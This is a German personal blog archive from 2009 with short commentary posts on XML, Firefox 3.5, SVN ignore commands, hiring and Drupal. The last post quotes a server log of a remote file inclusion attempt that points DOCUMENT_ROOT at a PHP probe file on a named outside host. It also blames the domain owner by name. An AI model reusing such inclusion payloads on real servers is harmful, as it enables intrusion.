Posts Tagged ‘Web-Entwicklung’

Sonntag, 23. August 2009

XML sucks!

Then reality struck. The pipeline was slow: Oracle loaded XML at a crawl. And it was a memory hog, since XSLT required putting full document trees in RAM.

Quelle: How XML Threatens Big Data : Dataspora Blog

Selbstverständlich bin ich voreingenommen und lese vorzugsweise Artikel, die Kritik an XML (und XSLT) üben. Aber ein Körnchen Wahrheit wird sicherlich darin sein …

Aus diesem Grund lasse ich auch heute (2009) noch die Finger von dieser Technologie.

Tags: , , ,
Labels: IT

Keine Kommentare | neuen Kommentar verfassen

Freitag, 10. Juli 2009

Firefox 3.5 sucks

Instead of using the randomization functionality of the underlying operating system (which has this feature build-in as every TCP stack for example needs it), they did what Mozilla in general always does: they re-invented the wheel.

To solve the problem of the randomization, the NSS team came up with something clever, something so great, that no-one else had ever thought of that before: they decided to read the files in all possible temp folders on disk with multiple threads so these files can be used as seeds for the randomization. Brilliant. Temp folders! Why hasn’t anyone else thought of using a disk-based resource for random number generation! I mean, these folders change every couple of milliseconds, have immediate access, no latency to read their contents and are never filled to the brim with useless cruft!

Quelle: The Firefox 3.5 fiasco – Frans Bouma’s blog

Wieder ein Grund mehr, weiterhin glücklich mit Safari um die Welt zu surfen … Wer braucht schon Extensions?

Tags: , ,
Labels: Funny, Web

Keine Kommentare | neuen Kommentar verfassen

Samstag, 6. Juni 2009

Dateien von der Versionierung durch SVN ausschliessen

Obwohl ich mich ja generell zu den Apple-Fanboys zähle, warte ich auf den Judgement Day für denjenigen Idioten, der a) anno dazumal die Resource Forks erfunden und denjenigen (wahrscheinlich anderen) Idioten, der b) die Resource Forks auch nach Mac OS X portiert hat.

Dieser Entscheid hat leider schwerwiegende Auswirkungen bis heute, ins Jahre des Herrn 2009. Wenn ich nämlich Verzeichnisse mit SVN versioniere, kämpfe ich regelmässig mit versteckten Dateien, die entweder .DS_Store oder ._<dateiname-einer-im-selben-ordner-liegenden-datei> zu kämpfen habe. Vor allem dann, wenn ich auf Samba-Shares arbeite.

Glücklicherweise hat SVN einen Mechanismus eingebaut, mit welchem solche Fragmente von der Versionierung ausgeschlossen werden können:

$ cd dir/
$ svn propset svn:ignore ".DS_Store" .

Quelle: Preparing a Rails Application for SVN

Verzeichnisse

Selbstverständlich funktioniert die Chose auch mit ganzen Ordnern. Wenn ich in einem unter Versionskontrolle stehenden Projekt ein Verzeichnis habe, dessen Inhalt nicht versioniert werden soll, hilft folgender, ähnlicher Befehl:

$ cd dir/
$ svn propset svn:ignore '*' nicht-zu-versionierendes-verzeichnis/

Quelle: How to … Make Subversion ignore files and folders

Tags: , ,
Labels: Allgemein

Keine Kommentare | neuen Kommentar verfassen

Samstag, 6. Juni 2009

Vergesst 20-seitige Offerten

I remember the tail end of our time as a web design company. When we started we did 20 page proposals. I remember pulling all nighters getting a proposal ready. Pages and pages of stuff. What a waste of time.

Towards the end we were doing one page proposals. It didn’t seem to matter. We were going to get the job or we weren’t. Over six years I never saw a connection between length and detail of proposal and winning a job.

Quelle: A reminder of how simple business can be when you don’t make it complicated – (37signals)

Tags:
Labels: Allgemein

Keine Kommentare | neuen Kommentar verfassen

Dienstag, 2. Juni 2009

Wie man als Programmierer seinen Arbeitsplatz auf Lebzeiten sichert

Köstlich – der ganze Artikel muss gelesen werden!

If you call your variables a, b, c, then it will be impossible to search for instances of them using a simple text editor. Further, nobody will be able to guess what they are for.

Quelle: How To Write Unmaintainable Code

Tags: , ,
Labels: Arbeit, Funny, IT

Keine Kommentare | neuen Kommentar verfassen

Dienstag, 2. Juni 2009

Wie man sich bei Web-Buden anständig bewirbt

Was ich in einem früheren Artikel bereits auf meine Art ausgedrückt habe, schildert David von 37Signals auf Englisch und aus aktuellem Anlass (Suche nach einem „Junior Support Programmer“):

This advice is probably exactly the opposite of what you’ll if you’re aiming to get into a big shop with a formal HR department. In that scenario, it’s often last man standing in the numbers game and checklist requirements. Personality doesn’t matter to make it through the first cut.

But when you’re looking to get hired by managers who actually have to work with you, personality is almost all that matters to get to the interview. So beef up your cover letter and let your personality shine […]

Quelle: Forget the resume, kill on the cover letter – (37signals)

Mit ein Grund, wieso ich die ersehnte Anstellung bei Liip gekriegt habe, war genau ein solcher nicht standardkonformer Begleitbrief zum Bewerbungsschreiben – das wurde mir von einem der neuen Chefs nach einige Arbeitswochen explizit so mit auf den Weg gegeben. Inwiefern darin meine tatsächliche „Personality“ durchschien, könnte das Liip-Management mittlerweile sicherlich sehr gut beurteilen … Auf jeden Fall hatte der Brief die Aufmerksamkeit der Rekrutierenden geweckt.

Tags: , ,
Labels: Arbeit, IT, Schweiz, Web

1 Kommentar | neuen Kommentar verfassen

Samstag, 2. Mai 2009

Marketing wie Fahnen im Wind

Not too long ago, SEO and usability experts were on the same side and recommended readable URLs. Now that Twitter is the new internet marketing (I think they call it social media now) battlefield, the rules changed.

Quelle: Short URLs, WebKit’s CSS animations & scrollbars, DiggBars: everything old is new (and hip?) again | Wisdump

Tags:
Labels: Web

Keine Kommentare | neuen Kommentar verfassen

Montag, 27. April 2009

Welche Drupal-Version läuft auf meinem Server?

If CHANGELOG.txt is missing, you can also check in system.module for a line at the top like:

define('VERSION', '5.5');

If this is present, it will tell you which version you are running. If not, you have a version earlier than 4.7.2.

Quelle: Drupal version numbering | drupal.org

Tags: ,
Labels: IT, Web

Keine Kommentare | neuen Kommentar verfassen

Samstag, 11. April 2009

Definiere Ramen profitable

The term ramen profitable was coined by Paul Graham, a Silicon Valley start-up investor, essayist and muse to LILO entrepreneurs. It means that your start-up is self-sustaining and can eke out enough profit to keep you alive on instant noodles while your business gains traction.

Quelle: Get Rich Slow

Tags: , , ,
Labels: Web, Wirtschaft

Keine Kommentare | neuen Kommentar verfassen

Donnerstag, 2. April 2009

Übt sich Hajo Bakker als Script-Kiddie?

In meinen Server-Logs fand ich heute folgendes:

[01-Apr-2009 22:25:02] Unexpected array Array
(
    [DOCUMENT_ROOT] => http://www.hajobakker.com/portfolio/id1v4.txt??
)
 given in function page__get_query_string

Die Text-Datei auf seinem Server beinhaltete folgende PHP-Anweisungen:

<?php /* Fx29ID */ echo("FeeL"."CoMz"); die("FeeL"."CoMz"); /* Fx29ID */ ?>

Wieso macht man sowas von seinem eigenen Server aus (notabene mit einem Domainnamen, der den Vor- und Nachnamen des „Hackers“ enthält), wenn man angeblich seit 1991 in der IT arbeitet?!

Since 1991 I’ve held a variety of ICT related positions

Quelle: HajoBakker.com small-boat photography, motorcycle technique and more.

Tags: , ,
Labels: IT, Web

1 Kommentar | neuen Kommentar verfassen